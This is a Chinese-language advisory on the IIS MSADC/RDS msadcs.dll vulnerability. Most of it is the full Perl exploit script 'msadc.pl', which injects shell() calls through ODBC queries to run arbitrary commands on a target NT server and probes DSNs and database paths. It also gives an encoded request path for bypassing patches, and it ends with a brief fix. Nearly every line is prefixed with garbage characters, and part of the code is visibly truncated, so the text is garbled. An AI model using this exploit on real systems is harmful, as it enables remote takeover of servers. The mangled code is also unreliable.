IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
U},W/g- a/xCl
:=8q 涉及程序:
o~z.7q Microsoft NT server
'{_tDboY AT8,9 描述:
IaZAP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:zk.^q \V7x3*nA 详细:
'k) P(H 如果你没有时间读详细内容的话,就删除:
6Yi,%# c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZkG##Jp\> 有关的安全问题就没有了。
4w *h8XbBZH 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
fwGz00C/U lu(Omds+ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
+/^q"/f F 关于利用ODBC远程漏洞的描述,请参看:
d=Ihl30m PzG:M7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @!tmUme1c M)It(K8R 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
2FtEt+A+' http://www.microsoft.com/security/bulletins/MS99-025faq.asp +\@\,{Ujy wZolg~dg 这里不再论述。
"PM:&v RB
0j!H: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
= ~R3*GN "e?#c<p7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
lIT2 AFX+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p~y
4q4 _-nN(
${{ |6G5
?| #将下面这段保存为txt文件,然后: "perl -x 文件名"
/]UNN~( kUBHK"}K #!perl
m=b+V#4i( #
8IcQpn# # MSADC/RDS 'usage' (aka exploit) script
H0:6zSsc=| #
Kd21:|!t^ # by rain.forest.puppy
Gf$>!zXr #
ojI"<Q~g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
v*p)"J * # beta test and find errors!
&~6O;}\ E&=?\KM use Socket; use Getopt::Std;
y")>"8H getopts("e:vd:h:XR", \%args);
iONql7S @ y3$\ m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
r]vBr^kq Z~:lfCK` if (!defined $args{h} && !defined $args{R}) {
&l)v' print qq~
O[J+dWyp Usage: msadc.pl -h <host> { -d <delay> -X -v }
z~;qDf|I -h <host> = host you want to scan (ip or domain)
{
^k,iTx
-d <seconds> = delay between calls, default 1 second
",oUVl -X = dump Index Server path table, if available
=njj.<BO -v = verbose
x}24?mP -e = external dictionary file for step 5
um4zLsd#v Q9
", Or a -R will resume a command session
~|jy$*m4A {?_)m/\ ~; exit;}
S`-IQ,*} KV(W|~+ rM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
LA3,e (e if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<GlV!y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H`..)zL| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
lY,1 w $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~DS9{Y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/9gMcn9EB JVCgYY({KQ if (!defined $args{R}){ $ret = &has_msadc;
!I
P* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s_+XSH[=f ~d8o,.n`1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|/ 7's' . "cmd /c ";
-igZU>0B_ $in=<STDIN>; chomp $in;
uZI:Kt# $command="cmd /c " . $in ;
`{[C4]Ew/ >sY+Y 22U if (defined $args{R}) {&load; exit;}
5.;$9~d )W3l{T( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
a];i4lt(c &try_btcustmr;
vUExS Z^ O\{_)L print "\nStep 2: Trying to make our own DSN...";
zL}DLfy>R &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
tV%\Jk), WWs>@lCK print "\nStep 3: Trying known DSNs...";
LB0=V0| &known_dsn;
2)]*re) G7xjW6^T print "\nStep 4: Trying known .mdbs...";
k82LCV+6 &known_mdb;
"6h.6_bTw 7t/SZm if (defined $args{e}){
RGOwm~a print "\nStep 5: Trying dictionary of DSN names...";
uQ)]g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
yQ2[[[@k@ SpQ6A]M gm print "Sorry Charley...maybe next time?\n";
bsDUFXH] exit;
J?DyTs3Z )8PL7P84 ##############################################################################
9a,CiH%@ VUhu"h@w% sub sendraw { # ripped and modded from whisker
b&&'b) sleep($delay); # it's a DoS on the server! At least on mine...
w%na n= my ($pstr)=@_;
cE?J]5#^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Tl-B[CT die("Socket problems\n");
cViCWc2 if(connect(S,pack "SnA4x8",2,80,$target)){
z81!F'x; select(S); $|=1;
3"RZiOyv print $pstr; my @in=<S>;
oZw#Nd select(STDOUT); close(S);
U{m:{'np(H return @in;
QJ'C?hn } else { die("Can't connect...\n"); }}
-hfY:W`Dz u{^Kyo#v ##############################################################################
o^J&c_U\3' {%dQV#'c sub make_header { # make the HTTP request
}3e+D my $msadc=<<EOT
2j|Eh
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
".=EAXVU User-Agent: ACTIVEDATA
)Qp?LECrt Host: $ip
"[,XS` Content-Length: $clen
-JkO[IF Connection: Keep-Alive
0}!lN{m? h<q``hn> ADCClientVersion:01.06
T!r7RS Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
T9yW# . F*u;'K --!ADM!ROX!YOUR!WORLD!
c7 -j Content-Type: application/x-varg
CQHlSV W Content-Length: $reqlen
5}VP-04vh r6<}S( EOT
[sRQd;+ ; $msadc=~s/\n/\r\n/g;
6IH^rSUSK return $msadc;}
%kT:"j(xW
~I74' ##############################################################################
:}-[%LSV ,y @3'~ sub make_req { # make the RDS request
eA_4,"{ my ($switch, $p1, $p2)=@_;
R8)"M(u=l my $req=""; my $t1, $t2, $query, $dsn;
BGS6uV4^> ~b/>TKn+ if ($switch==1){ # this is the btcustmr.mdb query
;2~Q97c0 $query="Select * from Customers where City=" . make_shell();
;DpK*A $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
pe-d7Ou
P $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-W,b*U Dc2eY. elsif ($switch==2){ # this is general make table query
7085&\9 $query="create table AZZ (B int, C varchar(10))";
a gzG $dsn="$p1";}
jrR~V* :k ycN_< elsif ($switch==3){ # this is general exploit table query
N4pA3~P $query="select * from AZZ where C=" . make_shell();
a;sZNUSn $dsn="$p1";}
?u|g2!{_ >F
v8 - elsif ($switch==4){ # attempt to hork file info from index server
AseY.0 $query="select path from scope()";
"Y+`U $dsn="Provider=MSIDXS;";}
Yv)/DsSyL Et(prmH elsif ($switch==5){ # bad query
P:+:Cm< $query="select";
Syb:i(Y $dsn="$p1";}
AKVmUS;70 SF7Kb `>Y $t1= make_unicode($query);
622).N4 $t2= make_unicode($dsn);
j(rFORT $req = "\x02\x00\x03\x00";
~F-,Q_|- $req.= "\x08\x00" . pack ("S1", length($t1));
gQ[4{+DSf $req.= "\x00\x00" . $t1 ;
%WR $req.= "\x08\x00" . pack ("S1", length($t2));
3ba"[C| $req.= "\x00\x00" . $t2 ;
l`k3!EZDS $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
D{mu2'q return $req;}
>4c 1VEi 4^r}&9C~ ##############################################################################
ME.LS2'n }z[se)s sub make_shell { # this makes the shell() statement
0;9LIL5 return "'|shell(\"$command\")|'";}
sq%f%?(V 0IZV4{ ##############################################################################
vzU %5, K(?7E6\vO sub make_unicode { # quick little function to convert to unicode
20qT1!ju my ($in)=@_; my $out;
PSE{
q^s$4 q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9}=Fdt return 0;}
`fH6E8N G8SJ<\? ##############################################################################
V\_
&2',t /#a$4 }2L sub make_dsn { # this makes a DSN for us
l!b#v` my @drives=("c","d","e","f");
JkKI/5h print "\nMaking DSN: ";
nm)F tX|A foreach $drive (@drives) {
CAX U
# print "$drive: ";
Bn.8wMB my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/1Eg6hf9B "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
8WvT0q>] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@!S5FOXipZ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|qBo*OcO return 0 if $2 eq "404"; # not found/doesn't exist
~9{.!7KPc if($2 eq "200") {
qnOAIP:0 foreach $line (@results) {
bV"0}|A~K return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
:KQ<rLd } return 0;}
oyUf/Sl ^71sIf;+ ##############################################################################
qU"+0t4 d-Sm<XHu. sub verify_exists {
j8lbn |. my ($page)=@_;
M8h9i2 my @results=sendraw("GET $page HTTP/1.0\n\n");
c9Cp!.#*E return $results[0];}
&0
@2JS/! `0L!F"W ##############################################################################
DV.m({? +iXA|L9= sub try_btcustmr {
/as1 my @drives=("c","d","e","f");
P^
a$? my @dirs=("winnt","winnt35","winnt351","win","windows");
4`i_ 4&TS Q$3%aR-2 foreach $dir (@dirs) {
8NLk`/ print "$dir -> "; # fun status so you can see progress
5n_<)Ycj foreach $drive (@drives) {
BUtXHD print "$drive: "; # ditto
{9z EnVfg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
/t816,i $reqlenlen=length( "$reqlen" );
t({:TQ $clen= 206 + $reqlenlen + $reqlen;
nF)|oA GR"Jk[W9 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!nTq"d%(W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
W<~(ieu:K~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
km *$;Nli j}y" ##############################################################################
smSUo/ k}/0B sub odbc_error {
,ujoGSx} my (@in)=@_; my $base;
5@i/4%S my $base = content_start(@in);
%zWtPxAf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
C\1Dy5 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=!Ok079{[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U5" C"+
3 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]]Wa.P~]O return $in[$base+4].$in[$base+5].$in[$base+6];}
=|H/[",gg print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$} ~:x_[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|W?x6]~.R $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
I&4|T<j !?]NMf_ ##############################################################################
E}~GX G */6PkNq sub verbose {
gzeG5p my ($in)=@_;
Ra.<D. return if !$verbose;
9] l7j\L print STDOUT "\n$in\n";}
9= :!XkT. Z(Xu>ap ##############################################################################
`/"TYR% Jcm"i~ sub save {
75%!R my ($p1, $p2, $p3, $p4)=@_;
d<xBI,g open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@dGj4h. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
=*}|y;I close OUT;}
R`Q9|yF\ J PmW0wM ##############################################################################
h T4fKc7P [gU z9iU sub load {
EyozhIV my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i: 1V\q% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
WG9x_X&XJ @p=<IN>; close(IN);
zDC-PHFHQ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
rqifjsv $target= inet_aton($ip) || die("inet_aton problems");
[9X1;bO#f print "Resuming to $ip ...";
mim]nRd2v $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
iB{O"l@w
if($p[1]==1) {
i,,U D $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
nXXyX[c4e $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>wZ!1Jq my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
CJ?Lv2Td if (rdo_success(@results)){print "Success!\n";}
\=1k29O else { print "failed\n"; verbose(odbc_error(@results));}}
p^NYJV elsif ($p[1]==3){
UDhW Y.`'~ if(run_query("$p[3]")){
#VtlXr>G print "Success!\n";} else { print "failed\n"; }}
?NJ\l5' elsif ($p[1]==4){
&vo]l~. if(run_query($drvst . "$p[3]")){
R:-^,/1 print "Success!\n"; } else { print "failed\n"; }}
0Bb amU exit;}
AS~O*(po H+ t^eg88 ##############################################################################
"|(+~8[ BoXQBcG]w sub create_table {
ur"ckuG!9 my ($in)=@_;
5yuR[VU $reqlen=length( make_req(2,$in,"") ) - 28;
njX!Ez $reqlenlen=length( "$reqlen" );
[26"?};"% $clen= 206 + $reqlenlen + $reqlen;
LC2t,!RRl& my @results=sendraw(make_header() . make_req(2,$in,""));
]hc.cj`\W& return 1 if rdo_success(@results);
cW%F%:b my $temp= odbc_error(@results); verbose($temp);
0OP6VZ\ return 1 if $temp=~/Table 'AZZ' already exists/;
t\S}eoc return 0;}
weKwBw .(ki(8Z N ##############################################################################
58{6k J@ S+7>Y? B! sub known_dsn {
%3|0_ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(Jy7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
/(5SJ(a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
?tSFM:9PU "banner", "banners", "ads", "ADCDemo", "ADCTest");
O$<kWSC BNnGtVAbZ foreach $dSn (@dsns) {
@ITJ}e4 print ".";
vA*!82 next if (!is_access("DSN=$dSn"));
5e6 f)[} if(create_table("DSN=$dSn")){
skf7Si0z print "$dSn successful\n";
,_D`0B6o if(run_query("DSN=$dSn")){
%TP0i#J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<T,vIXwu+ print "Something's borked. Use verbose next time\n";}}} print "\n";}
5F18/:\n YOqGFi~` ##############################################################################
[g`P(? !SMIb(~[z sub is_access {
4,`Yx s)% my ($in)=@_;
vg5i+ry< $reqlen=length( make_req(5,$in,"") ) - 28;
`,3;#.[D $reqlenlen=length( "$reqlen" );
H_un3x1 $clen= 206 + $reqlenlen + $reqlen;
KQ9~\No] my @results=sendraw(make_header() . make_req(5,$in,""));
jA?A)YNQb my $temp= odbc_error(@results);
P|Dw+lQj verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(3C::B= return 0;}
S=*rWh8)%< 7LbBS:@3z_ ##############################################################################
hQv~C4Wfrf OTY9Q sub run_query {
Usx8
U my ($in)=@_;
xrs?"]M[ $reqlen=length( make_req(3,$in,"") ) - 28;
:<r.n
" $reqlenlen=length( "$reqlen" );
]6bh #N;. $clen= 206 + $reqlenlen + $reqlen;
+mIO*UQi my @results=sendraw(make_header() . make_req(3,$in,""));
v[E*K@6f return 1 if rdo_success(@results);
L'iENZI$ my $temp= odbc_error(@results); verbose($temp);
@FKm_q return 0;}
9nN$%(EO5; ^~'tQ}]!" ##############################################################################
9w9[0BX# G~5EAeG sub known_mdb {
rVB,[4N my @drives=("c","d","e","f","g");
W2?6f: my @dirs=("winnt","winnt35","winnt351","win","windows");
jdqVS @SD my $dir, $drive, $mdb;
JR] /\( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l 8qCg/ew '[Ap/:/UY # this is sparse, because I don't know of many
.7 6T<j_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
d}2tqPy a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!<BJg3 "\\system32\\certmdb.mdb",
>slD.rb] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
hd0d
gc ~)xg7\k my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M=:!d$c
"\\cfusion\\cfapps\\forums\\forums_.mdb",
T a8;
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
-.<fGhmU "\\cfusion\\cfapps\\security\\realm_.mdb",
ce7$r*@! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E!nEB(FD "\\cfusion\\database\\cfexamples.mdb",
va 7I_J "\\cfusion\\database\\cfsnippets.mdb",
jeXP|;#Una "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
C,r[H5G# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-}#=L@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
Jh`Pq,B: "\\cfusion\\database\\smpolicy.mdb",
dCc"Qr[k "\\cfusion\\database\cypress.mdb",
T5H[~b|9- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T;!: A "\\website\\cgi-win\\dbsample.mdb",
LS;j]!CU "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
-!V+>.Oh "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
DLggR3K_\ ); #these are just
Yz7H@Y2i foreach $drive (@drives) {
.,[NJ:l foreach $dir (@dirs){
+}1h foreach $mdb (@sysmdbs) {
&\6Buw_ print ".";
gCfAy=-,V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
m.!n|_}] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Ck.LsL- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
rHYSS0*3 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
G8AT]
= } else { print "Something's borked. Use verbose next time\n"; }}}}}
}.*"ezaZw Jy<hTd*q foreach $drive (@drives) {
oHh~!#u foreach $mdb (@mdbs) {
11Sflj print ".";
nYy%=B|> if(create_table($drv . $drive . $dir . $mdb)){
} V * print "\n" . $drive . $dir . $mdb . " successful\n";
0#Ivo<V if(run_query($drv . $drive . $dir . $mdb)){
v<0\+}T1R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5>CmWMQ } else { print "Something's borked. Use verbose next time\n"; }}}}
(B+CI%=
D }
Q+bZZMK5,U :DWvH,{+& ##############################################################################
|z.x M> b-!+Q) sub hork_idx {
_UP=zW print "\nAttempting to dump Index Server tables...\n";
c+S<U* print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
J)o.@+Q} $reqlen=length( make_req(4,"","") ) - 28;
c?(;6$ A $reqlenlen=length( "$reqlen" );
?OjZb'+=K $clen= 206 + $reqlenlen + $reqlen;
skaPC#u my @results=sendraw2(make_header() . make_req(4,"",""));
k|uW~I) if (rdo_success(@results)){
80m<OW1 my $max=@results; my $c; my %d;
fhwJ for($c=19; $c<$max; $c++){
D@W[Nd5MJ $results[$c]=~s/\x00//g;
M$J{clr $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
_"0, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
KYw~(+gHv2 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a%nksuP3 $d{"$1$2"}="";}
n1XJuc~ foreach $c (keys %d){ print "$c\n"; }
mH`K~8pRg } else {print "Index server doesn't seem to be installed.\n"; }}
l 7T@<V j(xVbUa ##############################################################################
,i]X^z5! I}^Q u0ub sub dsn_dict {
r ,cz
yE/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`|uwR5 while(<IN>){
;D8175px; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
K%jh6c8 next if (!is_access("DSN=$dSn"));
vM3 b\yp if(create_table("DSN=$dSn")){
zjE|UK{ print "$dSn successful\n";
78~;j1^6u if(run_query("DSN=$dSn")){
J^w!?nk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<ztcCRov print "Something's borked. Use verbose next time\n";}}}
\|@u)n_ print "\n"; close(IN);}
_s{;9&qX] WMi$ATq ##############################################################################
e};\"^HH /E %^s3S. sub sendraw2 { # ripped and modded from whisker
@"h@4q/W sleep($delay); # it's a DoS on the server! At least on mine...
!=)b2}e/> my ($pstr)=@_;
Qxb%P<`u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f[ 'uka.U die("Socket problems\n");
<Jc
:a?ICe if(connect(S,pack "SnA4x8",2,80,$target)){
rbt/b0ET print "Connected. Getting data";
DYf3>xh>xb open(OUT,">raw.out"); my @in;
(J6>]MZ#) select(S); $|=1; print $pstr;
/}\Uw while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
y1qJ close(OUT); select(STDOUT); close(S); return @in;
eo [eN. } else { die("Can't connect...\n"); }}
<sncW>?!~ ?y/LMja ##############################################################################
L#|6Lnp^ ^{}$o#iof sub content_start { # this will take in the server headers
vk><S|[n my (@in)=@_; my $c;
Mn<#rBE B for ($c=1;$c<500;$c++) {
e+~Q58oD if($in[$c] =~/^\x0d\x0a/){
L,\wB7t if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
b[/uSwvi else { return $c+1; }}}
p)e?0m26 return -1;} # it should never get here actually
.P:mYC w<|Qezi3
w ##############################################################################
Z1dLC'/b] VN/v] sub funky {
}!_ofe my (@in)=@_; my $error=odbc_error(@in);
wZnv*t_ if($error=~/ADO could not find the specified provider/){
Wm^RfxgN/ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
KD =W(\ exit;}
o4t6NDa if($error=~/A Handler is required/){
~PZIYG"D print "\nServer has custom handler filters (they most likely are patched)\n";
0ZAT;ea B exit;}
<=Z`]8 if($error=~/specified Handler has denied Access/){
$! R]!s print "\nServer has custom handler filters (they most likely are patched)\n";
%AJTU3=0 exit;}}
o+0x1Ct3P (#Ku` ##############################################################################
$8{v_2C){ y[A%EMd sub has_msadc {
oMeIXb)z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
wa%;'M& my $base=content_start(@results);
AuIg=-xR return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)`,Y^`F2 return 0;}
^Q9!DF m Sg+0w7:2 ########################
b[Qe} `W ^rh{ zDohp 5, 解决方案:
D!WyT`T 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;^DG P 2、移除web 目录: /msadc